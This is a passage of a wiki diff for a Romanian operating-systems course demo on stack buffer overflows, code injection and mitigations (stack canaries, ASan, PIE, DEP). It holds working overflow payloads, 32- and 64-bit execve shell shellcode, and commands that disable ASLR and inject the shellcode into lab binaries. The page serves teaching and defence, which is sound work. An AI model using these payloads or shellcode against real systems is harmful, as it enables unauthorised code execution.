- | $ echo -en 'AAAAAAAAAAAAAAA' | ./stack | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-ssp |
Insert message (less than 16 bytes): Call actual function. | Insert message (less than 16 bytes): Call actual function. | ||
- | Read 15 bytes from standard input. | + | *** stack smashing detected ***: <unknown> terminated |
+ | Aborted (core dumped) | ||
</code> | </code> | ||
- | ==== Stack buffer overflow pentru suprascriere adresă de retur ==== | ||
- | Foarte rar vom avea șansa să avem un pointer de funcție plasat convenabil deasupra unui buffer. De aceea unul dintre cele mai uzuale moduri în care putem să schimbăm fluxul de execuție al unui program (descris și în articolul [[http://www.phrack.org/issues.html?issue=49&id=14&mode=txt|Smashing the Stack for Fun and Profit]]) este suprascrierea adresei de retur. Dacă punem acolo o funcție convenabilă, va fi apelată o funcție nouă în loc să revină programul în locul inițial. | + | === ASan === |
- | Pentru a face acest lucru trebuie să știm unde anume se găsește adresa de retur raportat la buffer. De mai sus știm că buffer-ul se găsește la adresa ''0xffffd26c'' iar adresa de retur la adresa ''0xffffd28c''. Avem așadar o diferență de ''0x20 = 32 de octeți''. Dacă scriem 32 de caractere de orice fel (fie ''A'') și apoi scriem adresa unei adrese de salt dorite, vom sări la acea adresă. La fel ca mai sus, vom folosi adresa funcției ''inject_func'', adică ''0x08048521''. | + | O formă mai avansată de protecție oferă [[https://github.com/google/sanitizers/wiki/AddressSanitizer|AddressSanitizer]] (ASan). Acesta protejează împotriva unui spectru mai larg de erori și afișează mesaje de clarificare pentru eroarea apărută: |
- | Pentru acesta vom transmite la intrarea standard 32 de caractere ''A'' urmate de caracterele ''0x21'', ''0x85'', ''0x04'', ''0x08'' la fel ca mai sus (când am suprascris pointer-ul ''func_ptr''); vom suprascrie așadar valoarea de retur de pe stack frame-ul funcției ''read_data''. Efectul va fi apelarea funcției ''inject_func'' la ieșirea din funcția ''read_data''. | + | <code> |
+ | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-asan | ||
+ | Insert message (less than 16 bytes): Call actual function. | ||
- | Întrucât vom suprascrie inclusiv pointer-ul ''func_ptr'' vrem să nu mai fie acest apelat. De aceea comentăm linia ''30'':<code c> | + | ================================================================= |
- | // func_ptr(); | + | ==26396==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd82ff4910 at pc 0x7f87b096166e bp 0x7ffd82ff48c0 sp 0x7ffd82ff4068 |
- | </code> Apoi compilăm programul modificat folosind ''make''. Vom primi warning de variabilă nefolosită pentru ''func_ptr'' dar îl ignorăm. | + | READ of size 44 at 0x7ffd82ff4910 thread T0 |
+ | #0 0x7f87b096166d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) | ||
+ | #1 0x400bc0 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:32 | ||
+ | #2 0x400c1a in main /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:39 | ||
+ | #3 0x7f87b0540b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) | ||
+ | #4 0x4009d9 in _start (/home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow-asan+0x4009d9) | ||
- | Pentru a genera atacul, rulăm o comandă ''python'' ca sa scriem mai ușor mai multe caractere de același tip (32 de caractere ''A'', în cazul nostru) și urmărim efectul:<code bash> | + | Address 0x7ffd82ff4910 is located in stack of thread T0 at offset 48 in frame |
- | $ python -c 'print "A"*32 + "\x21\x85\x04\x08"' | ./stack | + | #0 0x400ad4 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:23 |
- | Insert message (less than 16 bytes): Call injected function. | + | |
+ | This frame has 1 object(s): | ||
+ | [32, 48) 'buffer' <== Memory access at offset 48 overflows this variable | ||
+ | HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext | ||
+ | (longjmp and C++ exceptions *are* supported) | ||
+ | SUMMARY: AddressSanitizer: stack-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) | ||
+ | [...] | ||
</code> | </code> | ||
- | Observăm că am alterat fluxul normal de execuție al programului printr-un stack buffer overflow care a suprascris valoarea de retur a funcției ''read_data''. Prin suprascrierea adresei de retur cu valoarea ''0x08048521'' (adresa funcției ''inject_func'') am forțat apelarea funcției ''inject_func''. | ||
- | ==== Shellcode ==== | ||
- | De multe ori dorim să injectăm cod în cadrul spațiului de adresă al unui proces, cod pe care apoi să îl executăm. Pentru a face acest lucru se creează mici bucăți de cod scrise direct în cod mașină care vor fi injectate și executate, bucăți denumite shellcode. În general, shellcode-ul are ca obiectiv obținerea unui shell, ceea ce pe Linux echivalează un apel ''<nowiki>execve("/bin/sh")</nowiki>''. | + | ASan oferă mecanisme complexe de protecție dar și un overhead care nu permite folosirea sa în producție. De aceea, ASan este folosit în medii de testare pentru a identifica defecte în programele dezvoltate, uzual combinat cu fuzzing. |
- | Pentru a urmări construcția și utilizarea unui shellcode accesăm subdirectorul ''shellcode/'' și urmărim conținutul fișierului ''shellcode.s''. Acesta este codificarea în limbaj de asamblare a unui apel de sistem ''execve''. Este echivalent apelului C ''<nowiki>execve("/bin//sh", ["/bin//sh", NULL], NULL)</nowiki>''. | + | === ASLR / PIE === |
- | Ca să obținem shell-ul în forma sa binară, fișierul în limbaj de asamblare este compilat, este extrasă partea de cod și apoi transpusă în forma în hexazecimal folosită uzual în C, Python, Perl, Bash. Pentru aceasta folosim scriptul ''extract-shellcode'':<code bash> | + | Realizarea unui atac la memoria unui proces necesită cunoașterea unor adrese din spațiul de adrese al acelui proces. O măsură defensivă care face dificilă aflarea adreselor este plasarea aleatoare a zonelor de memorie în spațiul virtual de adrese al procesului, tehnică numită ASLR (//Address Space Layout Randomization//). Atunci când se plasează aleator și zonele statice (date, cod) spunem că executabilul este compilat și linkat cu suport de PIC / PIE (Position Independent Code / Position Independent Executable). În cazul acesta, adresele din analiza statică a executabilului nu corespund celor de la run time, care vor fi realizate aleator. Astfel că atacurile de mai sus nu vor funcționa, rezultând în accesul la o zonă care acum este, cel mai probabil, nevalidă: |
- | $ ./extract-shellcode | + | |
- | Shellcode string is: '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' | + | |
- | </code> | + | |
- | Între apostroafe avem shellcode-ul. Acesta este forma binară (cod mașină) a instrucțiunilor în limbaj de asamblare din ''shellcode.s''. | + | |
- | Pentru a folosi, la nivel demonstrativ, shellcode-ul, vom defini o variabilă pe care o vom inițializa la șirul de mai sus. Apoi vom forța saltul la adresa acelei variabile. Aceasta vom face în fișierul ''run-shellcode.c''. La forma actuală a fișierului vom face două modificări: | + | <code> |
- | - La linia ''11'' vom inițializa șirul ''shellcode'' la valoarea shellcode-ului. Modificăm linia de la<code c> | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-pie |
- | static const char shellcode[] = "TODO"; | + | Segmentation fault (core dumped) |
- | </code> la <code c> | + | |
- | static const char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; | + | |
- | </code> | + | |
- | - La linia ''20'' vom inițializa pointer-ul de funcție ''func_ptr'' la adresa shellcode-ului. Modificăm linia de la<code c> | + | |
- | void (*func_ptr)(void) = actual_func; | + | |
- | </code> la <code c> | + | |
- | void (*func_ptr)(void) = (void (*)(void)) shellcode; | + | |
</code> | </code> | ||
- | Compilăm programul folosind ''make'' și apoi îl apelăm. Întrucât se apelează ''func_ptr'' se va apela shellcode, rezultând în apelul echivalent ''<nowiki>execve("/bin/sh")</nowiki>'' și deci pornirea unui nou shell:<code bash> | + | Secvențele de cod independente de poziție folosesc adresare relativă la poziția curentă în loc de adresare absolută. Mai jos folosim analiză statică pe executabilul cu suport PIE și pe cel fără suport PIE ca să urmărim diferența în folosirea adresei unei funcții: |
- | user@host:~$ make | + | |
- | gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils -c -o run-shellcode.o run-shellcode.c | + | |
- | gcc -m32 -z execstack run-shellcode.o -o run-shellcode | + | |
- | user@host:~$ ./run-shellcode | + | <code> |
- | Insert message (less than 32 bytes): aaa | + | $ objdump -d -M intel buffer-overflow-pie |
+ | [...] | ||
+ | 0000000000000817 <read_data>: | ||
+ | 817: 55 push rbp | ||
+ | 818: 48 89 e5 mov rbp,rsp | ||
+ | 81b: 48 83 ec 20 sub rsp,0x20 | ||
+ | 81f: 48 8d 05 c4 ff ff ff lea rax,[rip+0xffffffffffffffc4] # 7ea <actual_func> | ||
+ | [...] | ||
- | $ exit | + | $ objdump -d -M intel buffer-overflow |
- | + | 00000000004006c0 <read_data>: | |
- | user@host:~$ | + | 4006c0: 55 push rbp |
+ | 4006c1: 48 89 e5 mov rbp,rsp | ||
+ | 4006c4: 48 83 ec 20 sub rsp,0x20 | ||
+ | 4006c8: 48 c7 45 f8 97 06 40 mov QWORD PTR [rbp-0x8],0x400697 | ||
+ | 4006cf: 0 | ||
+ | [...] | ||
</code> | </code> | ||
- | Putem observa invocarea apelului de sistem ''execve'' prin folosirea strace:<code bash> | ||
- | $ strace -e execve ./run-shellcode | ||
- | execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 | ||
- | [ Process PID=9084 runs in 32 bit mode. ] | ||
- | Insert message (less than 32 bytes): aaaa | ||
- | execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 | ||
- | [ Process PID=9084 runs in 64 bit mode. ] | ||
- | </code> | ||
- | Primul apel ''execve'' a însemnat încărcarea executabilului curent ''run-shellcode'', în vreme ce al doilea apel este exact apelul dat de shellcode, care creează un shell nou. | ||
- | ==== Stack buffer overflow cu shellcode ==== | ||
- | Dorim să supracriem adresa de retur a funcției ''read_data'' ca să refere shellcode-ul și să execute codul de acolo. Pentru aceasta trebuie să știm adresa shellcode-ului. Folosim ''objdump'':<code bash> | + | În listarea de mai sus vedem cum pentru cazul PIE adresa funcției ''actual_func'' este obținută raportat la registrul pointer de instrucțiune (RIP). În cazul non-PIE adresa este folosită în valoare absolută ''0x400697''. |
- | $ objdump --syms run-shellcode | grep ' shellcode' | + | |
- | 08048610 l O .rodata 0000001a shellcode | + | |
- | </code> | + | |
- | Nu putem folosi construcția anterioară în care diferența între adresa de retur era de ''32'' de octeți. Acum bufferul este mai mare, este definit ca ''buffer[32]''. Vom investiga folosind GDB. De asemenea, vom elimina de tot pointer-ul de funcție ''func_ptr'', în așa fel încât funcția ''read_data'' are forma:<code c> | + | Putem să vedem ce mecanisme defensive sunt prezente într-un executabil cu ajutorul [[https://github.com/slimm609/checksec.sh/blob/master/checksec|scriptului ''checksec'']]: |
- | static size_t read_data(void) | + | |
- | { | + | |
- | char buffer[32]; | + | |
- | memset(buffer, 'A', 32); | + | <code> |
- | printf("Insert message (less than 32 bytes): "); | + | $ wget https://raw.githubusercontent.com/slimm609/checksec.sh/master/checksec |
- | fgets(buffer, 64, stdin); | + | [...] |
- | return strlen(buffer); | + | $ chmod a+x checksec |
- | } | + | |
- | </code> | + | |
- | Compilăm noul program folosind ''make''. | + | |
- | Pentru a afla diferența între buffer și valorea de retur, folosim GDB:<code bash> | + | $ ./checksec --file=buffer-overflow |
- | $ gdb -q ./run-shellcode | + | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE |
- | Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/run-shellcode...done. | + | Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols No 0 3 buffer-overflow |
- | (gdb) b main | + | |
- | Breakpoint 1 at 0x8048550: file run-shellcode.c, line 33. | + | |
- | (gdb) run | + | |
- | Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/shellcode/./run-shellcode | + | |
- | warning: Could not load shared library symbols for linux-gate.so.1. | + | |
- | Do you need "set solib-search-path" or "set sysroot"? | + | |
- | Breakpoint 1, main () at run-shellcode.c:33 | + | $ ./checksec --file=buffer-overflow-pie |
- | 33 len = read_data(); | + | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE |
- | (gdb) si | + | Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 77 Symbols No 0 3 buffer-overflow-pie |
- | read_data () at run-shellcode.c:19 | + | |
- | 19 { | + | $ ./checksec --file=buffer-overflow-ssp |
- | (gdb) x/2wx $esp | + | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE |
- | 0xffffd27c: 0x08048555 0x00000001 | + | Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols Yes 0 3 buffer-overflow-ssp |
- | (gdb) p &buffer | + | |
- | $1 = (char (*)[32]) 0xffffd250 | + | |
</code> | </code> | ||
- | Mai sus, am realizat următorii pași: | ||
- | - Am pornit GDB pe executabilul ''run-shellcode''. | ||
- | - Am pus breakpoint pe main și am rulat programul. | ||
- | - Am avansat o instrucțiune (folosind ''si'' -- //step instruction//) pentru a apela funcția ''read_data''. | ||
- | - Am afișat conținutul vârfului stivei pentru a afla adresa valorii de retur. | ||
- | * Adresa este ''0xffffd27c'' iar valoarea de retur este ''0x08048555''. | ||
- | - Am aflat adresa buffer-ului: ''0xffffd250''. | ||
- | Diferența dintre adresa buffer-ul și adresa unde este stocată adresa de retur este ''0xffffd27c - 0xffffd250 = 2c'', adică 44 de octeți. | ||
- | Pentru a suprascrie, așadar, adresa de retur vom scrie în buffer, de la intrarea standard, prin intermediul funcției ''fgets'', 44 de caractere ''A'' (până la adresa de retur) urmată de octeții corespunzători adresei unde vrem să facem saltul. Adică octeții corespunzători shellcode-ului, adică ''0x10'', ''0x86'', ''0x04'', ''0x08''. Acești octeți, reprezentând adresa shellcode-ului vor suprascrie adresa de retur corespunzătoare funcției ''read_data''. Consecința va fi că încheierea funcției ''read_data'', în locul revenirii în funcția ''main'' (funcția apelantă), se va face salt în shellcode și se va crea un shell prin intermediul apelului ''execve'' codificat în shellcode. | + | ==== Injectarea codului. Shellcodes ==== |
- | Pentru a executa operațiile de mai sus, folosim ''python'' la fel ca mai devreme. Scriem ''44'' de caractere ''A'' urmate de octeții corespunzători shellcode-ului:<code bash> | + | <note important> |
- | $ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | ./run-shellcode | + | Pentru acest demo trebuie să aveți instalat pe sistem asamblorul NASM. Pe un sistem Debian/Ubuntu îl puteți instala folosind comanda: |
- | </code> | + | <code> |
- | Programul pare să meargă dar nu obținem un shell. Acest lucru se întâmplă întrucât se închide, din pipe, intrarea standard și se închide și shell-ul însuși. Există metode de a face bypass la acest lucru, dar nu fac subiectul acestui demo. Pentru a confirma că se execută un shell, folosim strace:<code bash> | + | sudo apt install nasm |
- | $ python -c 'print "A"*44 + "\x10\x86\x04\x08"' | strace -e execve ./run-shellcode | + | |
- | execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 | + | |
- | [ Process PID=20114 runs in 32 bit mode. ] | + | |
- | execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 | + | |
- | [ Process PID=20114 runs in 64 bit mode. ] | + | |
</code> | </code> | ||
+ | </note> | ||
- | Observăm de mai sus că am obținut într-adevăr execuția shellcode-ului, prin suprascrierea adresei de retur a funcției ''read_data''. În final shellcode-ul a apelat un echivalent al ''<nowiki>execve("/bin/sh")</nowiki>'' care generează un shell. | + | În exploit-urile prezentate mai sus am suprascris code pointeri și am modificat fluxul de execuție al programului apelând o funcție existentă (''inject_func''). Această metodă, de refolosire a codului existent în cadrul unui atac, poartă numele de //code reuse attacks//. Din păcate pentru atacator, în cazul unui atac de tipul //code reuse// spațiul posibil de acțiune este limitat la codul existent. Așa că este de preferat un atac de tipul //code injection// care adaugă (injectează) cod în spațiul virtual de adrese al procesului. În general acest cod rezidă într-o zonă de date (unde este citit) care primește permisiuni de execuție. |
- | ==== Stack buffer overflow cu shellcode pe stivă ==== | + | |
- | În mod evident, nu ne putem aștepta ca un shellcode să se găsească în codul sursă al programului. Shellcode-ul trebuie injectat într-o zonă în care putem scrie; cel mai simplu este chiar pe stivă, adică exact în cadrul bufferului. Apoi vom suprascrie adresa de retur a funcției ''read_data'' cu adresa de start a buffer-ului unde am scris shellcode-ul. | + | Codul injectat de atacator poartă numele de //shellcode//. Deși denumirea indică deschiderea unei sesiuni de shell, un shellcode poate realiza orice tip de acțiune. |
- | Pentru ca aceasta să funcționeze, trebuie să știm adresa buffer-ului. Din păcate (pentru atacator) avem în general activat ASLR (//Address Space Layout Randomization//). Prin urmare la diverse rulări buffer-ul nu va avea aceeași adresă (nu apare la GDB). Pentru a verifica asta, la programul anterior adăugăm, în funcția ''read_data'' apelul<code c> | + | <note tip> |
- | printf("buffer address: %p\n", buffer); | + | O listă de shellcode-uri pentru diferite sisteme de operare și arhitecturi găsiți [[http://shell-storm.org/shellcode/|aici]]. De aici vom folosi shellcode-uri în continuare. |
+ | </note> | ||
+ | |||
+ | În subdirectorul ''shellcode/'' avem resursele pentru generarea și folosirea unui shellcode care va crea un shell. | ||
+ | |||
+ | Shellcode-ul este în general scris în limbaj de asamblare, apoi este asamblat și, din fișierul obiect rezultat, se extrage codul mașină corespunzător ca înșiruire de octeți. Avem un shellcode descris în limbaj de asamblare în fișierul ''shellcode.asm'' și unul pentru 32 de biți descris în ''shellcode-32.asm''. Aceste fișiere conțin codificarea în limbaj de asamblare a unui apel de sistem ''execve''. Este echivalent apelului C ''<nowiki>execve("/bin//sh", ["/bin//sh", NULL], NULL)</nowiki>''. Ca să obținem codul mașină corespunzător acestor shellcode-uri, folosim fișierul ''Makefile.shellcode'': | ||
+ | |||
+ | <code> | ||
+ | $ make -f Makefile.shellcode print | ||
+ | nasm -o shellcode.bin shellcode.asm | ||
+ | \x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05 | ||
+ | |||
+ | $ make -f Makefile.shellcode print-32 | ||
+ | nasm -o shellcode-32.bin shellcode-32.asm | ||
+ | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 | ||
</code> | </code> | ||
- | Compilăm și rulăm de mai multe ori:<code bash> | ||
- | user@host:~$ make | ||
- | gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../utils -c -o run-shellcode.o run-shellcode.c | ||
- | gcc -m32 -z execstack run-shellcode.o -o run-shellcode | ||
- | user@host:~$ ./run-shellcode | + | Cele două șiruri în afișaj hexazecimal sunt cele două shellcode-uri, respectiv pe 64 de biți și 32 de biți. |
- | Insert message (less than 32 bytes): aaa | + | |
- | buffer address: 0xff8db4d0 | + | |
- | Read 4 bytes from standard input. | + | Aceste două șiruri le folosim în fișierul ''run-shellcode.c'' pentru a le rula. În acest fișier, variabila ''shellcode'' este populată, depinzând de arhitectura folosită, cu cele două shellcode-uri. Ca să testăm funcționarea celor două shellcode-uri, compilăm fișierul și rulăm cele două executabile: |
- | user@host:~$ ./run-shellcode | + | |
- | Insert message (less than 32 bytes): aaa | + | |
- | buffer address: 0xffdf0270 | + | |
- | Read 4 bytes from standard input. | + | <code> |
+ | $ make | ||
+ | gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils -c -o run-shellcode.o run-shellcode.c | ||
+ | gcc -no-pie run-shellcode.o -o run-shellcode | ||
+ | gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o run-shellcode-32.o run-shellcode.c | ||
+ | gcc -no-pie -m32 -o run-shellcode-32 run-shellcode-32.o | ||
+ | gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils -c -o inject-shellcode.o inject-shellcode.c | ||
+ | gcc -no-pie -z execstack -o inject-shellcode inject-shellcode.o | ||
+ | gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o inject-shellcode-32.o inject-shellcode.c | ||
+ | gcc -no-pie -m32 -z execstack -o inject-shellcode-32 inject-shellcode-32.o | ||
- | user@host:~$ ./run-shellcode aaa | + | $ ./run-shellcode |
- | Insert message (less than 32 bytes): aaa | + | $ ls |
- | buffer address: 0xffef6ad0 | + | Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o |
+ | Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s | ||
+ | $ exit | ||
- | Read 4 bytes from standard input. | + | $ ./run-shellcode-32 |
+ | $ ls | ||
+ | Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o | ||
+ | Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s | ||
+ | $ exit | ||
</code> | </code> | ||
- | Observăm că bufferul are la fiecare rulare altă adresă. Putem folosi brute forcing, dar durează. | ||
- | Pentru scopuri didactice vom dezactiva suportul de ASLR folosind comanda<code bash> | + | După rularea celor două executabile rezultate este creat un shell în care putem rula comenzi. Putem valida crearea cu success a shell-ului folosind ''strace'': |
- | echo 0 | sudo tee /proc/sys/kernel/randomize_va_space | + | <code> |
+ | $ strace -e execve ./run-shellcode | ||
+ | execve("./run-shellcode", ["./run-shellcode"], 0x7fffdbedd2b0 /* 37 vars */) = 0 | ||
+ | execve("/bin/sh", ["/bin/sh"], NULL) = 0 | ||
+ | $ exit | ||
</code> | </code> | ||
- | Acum vom avea aceeași adresă a buffer-ului la multiple rulări ale executabilului ''run-shellcode'':<code bash> | + | Ca măsură defensivă împotrivă injectării de cod, sistemele moderne oferă suport în tabela de pagini pentru a marca pagini ca fiind neexecutabile. Acest mecanism se numește NX (No Executa) XD (eXecute Disable) sau DEP (Data Execution Prevention). În mod obiștnuit, variabila ''shellcode'' din fișierul ''run-shellcode.c'' nu ar trebui să fie executabilă. Întrucât este marcată ''const'' această variabilă este plasată în zona ''.rodata''. Această zonă este însă uzual colocalizată cu zona ''.text'' și astfel are și permisiuni de execuție. Acesta nu este un risc de securitate, întrucât este improbabil ca cineva să completeze într-un program variabile read-only cu valori sensibile ce pot fi executate. |
- | user@host:~$ ./run-shellcode | + | |
- | Insert message (less than 32 bytes): aaa | + | |
- | buffer address: 0xffffd2b0 | + | |
- | Read 4 bytes from standard input. | + | Mai realist este scenariul în care un atacator furnizează programului shellcode-ul și programul îl stochează undeva în memorie de unde, prin mijloace precum supscrierea unui code pointer, este executat shellcode-ul. În aceste scenarii DEP va împiedica rularea shellcode-ului. Pentru a dezactiva DEP pe zona de memorie unde se găsește shellcode-ul, un atacator va trebui să remapeze acea zonă ca fiind executabilă printr-un apel de tipul ''mprotect'' / ''VirtualProtect''; deși posibilă, o astfel de acțiune nu este ușor de realizat de un atacator și atacul va deveni mai complicat. |
- | user@host:~$ ./run-shellcode | + | Exemplificarea furnizării unui shellcode către program se găsește în fișierul ''inject-shellcode.c''. Aici citim date de la intrarea standard în variabila ''shellcode'', care acum este o variabilă globală aflată într-o zonă read-write. Rulăm cele două executabile generate (''inject-shellcode'' și ''inject-shellcode-32'') transmițându-le la intrarea shellcode-urile de mai sus: |
- | Insert message (less than 32 bytes): aaa | + | |
- | buffer address: 0xffffd2b0 | + | |
- | Read 4 bytes from standard input. | + | <code> |
+ | $ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode | ||
+ | |||
+ | $ echo -e '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' | ./inject-shellcode-32 | ||
</code> | </code> | ||
- | Adresa buffer-ului va fi adresa shellcode-ului pentru că vom scrie shellcode-ul chiar în buffer. Ceea ce înseamnă că vom suprascrie adresa de retur a funcției ''read_data'' cu adresa buffer-ului adică cu octeții ''\xb0'', ''\xd2'', ''\xff'', ''\xff''. | + | Motivul pentru care nu obținem un prompt nou este că acum shell-ul nou creat așteată input de la utilizator. Dar standard input-ul este acum dintr-un pipe care s-a închis atunci când procesul ''echo'' s-a încheiat. Putem, la fel, să validăm crearea cu succes a shell-ului folosind coamanda ''strace'': |
- | Ținem cont că trebuie să scriem 44 de caractere de orice fel și apoi să scriem acei octeți. Din acele 44 de caractere de orice fel primele trebuie să fie chiar shellcode-ul, adică șirul ''\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80''. Shellcode-ul are 25 de octeți. Vom scrie așadar în buffer: | + | <code> |
- | - shellcode-ul: 25 de octeți | + | $ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | strace -e execve ./inject-shellcode |
- | - payload (adică 44-25=19 caractere, vom folosi caracterul ''A'') | + | execve("./inject-shellcode", ["./inject-shellcode"], 0x7fff2ff13cc0 /* 37 vars */) = 0 |
- | - octeții ''\xb0'', ''\xd2'', ''\xff'', ''\xff'' reprezentând adresa de start a bufferului, adică începutul shellcode-ului | + | execve("/bin/sh", ["/bin/sh"], NULL) = 0 |
- | + | +++ exited with 0 +++ | |
- | Vom folosi, ca și mai devreme, python pentru a scrie informațiile de mai sus în buffer:<code bash> | + | |
- | user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | ./run-shellcode | + | |
- | Insert message (less than 32 bytes): buffer address: 0xffffd2b0 | + | |
</code> | </code> | ||
- | La fel ca mai sus nu se generează un prompt de shell pentru că se închide intrarea standard. Dar putem folosi ''strace'' ca să vedem că se apelează ''execve'' și se creează un proces shell:<code bash> | + | <note tip> |
- | user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | strace -e execve ./run-shellcode | + | Dacă dorim să menținem standard input-ul activ după rularea comenzii ''echo'' și să rulăm comenzi în shell-ul nou creat, folosim o comandă precum cea de mai jos: |
- | execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 | + | <code> |
- | [ Process PID=24236 runs in 32 bit mode. ] | + | $ cat <(echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05') - | ./inject-shellcode |
- | Insert message (less than 32 bytes): buffer address: 0xffffd2b0 | + | ls |
- | execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 | + | Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o |
- | [ Process PID=24236 runs in 64 bit mode. ] | + | Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s |
+ | exit | ||
</code> | </code> | ||
+ | </note> | ||
- | În acest fel am executat o formă clasică de stack buffer overflow cu injectare de cod (shellcode) pe stivă. Shellcode-ul a fost scris pe stivă și apoi am suprascris adresa de retur a funcției cu adresa de început a shellcode-ului, adică adresa buffer-ului. Rezultatul a fost crearea unui proces shell prin invocarea apelului de sistem ''execve'' codificat în shellcode. | + | Atacul funcționează pentru că dezactivat DEP pentru zonele de date ale procesului creat folosind opțiunea de linker ''-z execstack''. Dacă generăm un fișier executabil fără această opțiune, acesta va eșua să ruleze shellcode-ul și se va genera excepție de acces la memorie: |
+ | <code> | ||
+ | $ gcc -o inject-shellcode-dep inject-shellcode.c | ||
